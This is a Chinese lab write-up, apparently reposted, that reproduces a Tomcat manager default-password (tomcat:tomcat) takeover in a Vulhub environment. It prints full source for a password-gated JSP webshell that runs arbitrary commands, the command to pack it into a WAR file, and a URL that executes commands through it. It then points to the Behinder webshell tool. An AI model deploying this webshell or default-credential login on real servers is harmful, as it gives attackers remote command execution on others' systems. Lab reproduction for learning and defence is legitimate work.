当前位置 : 主页 > 编程语言 > 其它开发 >

[漏洞复现] [Vulhub靶机] Tomcat7+ 弱口令 && 后台getshell漏洞

来源:互联网 收集:自由互联 发布时间:2022-05-30
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。 0x00 背景知识 tomcat中间件 war文件 木马 0x01 漏洞介绍 影响范围:Tomcat 8.0版本 漏洞类型:弱口令 漏洞成

免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。

0x00 背景知识
  1. tomcat中间件
  2. war文件
  3. 木马
0x01 漏洞介绍
  • 影响范围:Tomcat 8.0版本
  • 漏洞类型:弱口令
  • 漏洞成因:在tomcat8环境下,默认的后台密码为tomcat:tomcat,未修改默认密码就会造成未经授权的后台访问。
0x02 漏洞复现 环境搭建:

Vulhub靶场

漏洞利用
  1. 访问靶机的tomcat管理页面http://your-ip:8080/manager/html,输入弱密码tomcat:tomcat,访问后台并找到war文件上传位置。
    tomcat管理后台
  2. 准备木马文件ma.jsp,使用命令jar -cvf ma.war ma.jsp,将jsp文件打包为war文件。
点击查看木马内容
<%@ page language="java" contentType="text/html; charset=GBK"
    pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>一句话木马</title>
    </head>
    <body>
        <%
        if ("admin".equals(request.getParameter("pwd"))) {
            java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
            int len = -1;
            byte[] bytes = new byte[4092];
            out.print("<pre>");
            while ((len = input.read(bytes)) != -1) {
                out.println(new String(bytes, "GBK"));
            }
            out.print("</pre>");
        }
    %>
    </body>
</html>
  1. 上传ma.war木马文件,可以看到页面中出现了新的应用路径/ma
  2. 访问jsp木马URL并传入参数http://192.168.33.137:8080/ma/ma.jsp?pwd=admin&cmd=ls,可以看到命令执行成功。
  3. 到此为止,已经可以控制cmd参数执行命令了。
  4. 再进一步,可以使用工具连接webshell进行目标管理,比如使用冰蝎控制。按照同样的方法将冰蝎木马打包成war格式并上传,然后使用冰蝎进行连接。

参考链接

  1. Tomcat漏洞复现CVE-2017-12615&CVE-2020-1938&弱口令
  2. Tomcat控制台弱密码漏洞
上一篇:从双非硕士到大厂工作,优秀!
下一篇:没有了
网友评论